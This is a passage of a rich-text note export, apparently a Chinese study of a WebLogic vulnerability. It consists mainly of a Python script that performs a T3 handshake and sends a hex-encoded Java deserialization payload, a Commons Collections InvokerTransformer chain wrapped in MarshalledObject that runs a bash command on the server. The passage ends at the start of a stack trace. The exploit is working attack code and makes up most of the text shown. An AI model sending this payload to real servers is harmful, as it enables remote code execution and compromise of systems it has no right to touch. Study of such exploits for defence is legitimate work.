Union&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0sjj-1673886074114&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;78cX-1673886074113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K6hN-1673886074117&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9N34-1673886074115&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from stars import target_type, Star&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;khsl-1673886074119&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XUr3-1673886074118&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p37j-1673886074121&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QJW1-1673886074120&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -&gt; (bool, dict):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gcAt-1673886074123&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j16o-1673886074122&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # T3协议握手&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RQkL-1673886074125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QylG-1673886074124&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        dport = int(dport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;olzu-1673886074127&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5dh1-1673886074126&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;egMg-1673886074129&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7rca-1673886074128&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.settimeout(timeout)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yLSv-1673886074131&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OaQ6-1673886074130&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tf2a-1673886074133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XvuU-1673886074132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.connect((dip, dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fwX5-1673886074135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2UCP-1673886074134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;chqS-1673886074137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2zlE-1673886074136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AANv-1673886074139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HZul-1673886074138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except ConnectionRefusedError:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KRtU-1673886074141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5iUn-1673886074140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection refuse.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SWIx-1673886074143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QIjQ-1673886074142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VUJA-1673886074145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fSe7-1673886074144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a&#39;))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0ssj-1673886074147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6fWr-1673886074146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qtuj-1673886074149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cwNA-1673886074148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.recv(1024)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JCM8-1673886074151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DLuS-1673886074150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ozRt-1673886074153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;35Mi-1673886074152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # 构造T3协议头&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lydc-1673886074155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;By3x-1673886074154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data1 = &#39;000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oV2z-1673886074157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2B83-1673886074156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data2 = &#39;007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07&#39;.format(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yn1c-1673886074159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IguK-1673886074158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;{:04x}&#39;.format(dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Skeb-1673886074161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SQDt-1673886074160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data3 = &#39;1a7727000d3234322e323134&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oO9i-1673886074163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sg44-1673886074162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data4 = &#39;2e312e32353461863d1d0000000078&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yLin-1673886074165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uZrH-1673886074164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for d in [data1, data2, data3, data4]:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;345J-1673886074167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i7eL-1673886074166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.send(bytes.fromhex(d))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ANqP-1673886074169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fNh9-1673886074168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ptnL-1673886074171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WK4o-1673886074170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aYVo-1673886074173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QWux-1673886074172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # -------- 经MarshalledObject封装的反序列化利用链payload --------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9fAF-1673886074175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0vuD-1673886074174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6SkA-1673886074178&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8gYG-1673886074177&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Obss-1673886074180&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OAFC-1673886074179&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # ------------------------------------------------------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IJSH-1673886074182&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hcKB-1673886074181&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c3nj-1673886074184&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1dta-1673886074183&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;%s%s&#39; % (&#39;{:08x}&#39;.format(len(payload) // 2 + 4), payload)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8UEC-1673886074186&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;um0a-1673886074185&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(payload))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QwPy-1673886074188&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bWQH-1673886074187&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KHxA-1673886074190&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4URA-1673886074189&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wwF1-1673886074192&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5QcQ-1673886074191&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            res = sock.recv(4096)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2JSl-1673886074194&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J2kK-1673886074193&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            print(res)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BA7D-1673886074196&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMJj-1673886074195&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return b&#39;org.apache.commons.collections.functors.InvokerTransformer&#39; in res, {&#39;msg&#39;: &#39;finish.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hXET-1673886074198&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RUqt-1673886074197&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hc8B-1673886074200&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7xyy-1673886074199&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;luaE-1673886074202&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMPL-1673886074201&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XWzA-1673886074204&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5JE9-1673886074203&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;if __name__ == \&#34;__main__\&#34;:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NCtE-1673886074206&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T6sg-1673886074205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ip = \&#34;127.0.0.1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1fWs-1673886074208&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2szw-1673886074207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    port = 7001&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dzIx-1673886074210&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vX4e-1673886074209&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    light_up(dip=ip,dport=port)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;go&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AlVY-1673886900345&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5217/WEBRESOURCEad9893f1807a8bfe4e24f71ba84733c4&#34;,&#34;width&#34;:1492,&#34;height&#34;:216},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qay7-1673920222284&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lGMM-1673920222285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样跟一下代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zh9v-1673920755180&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FsOY-1673920755133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;diIT-1673920755132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readResolve:58, MarshalledObject (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dgik-1673920755135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EGAu-1673920755134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke0:-1, NativeMethodAccessorImpl 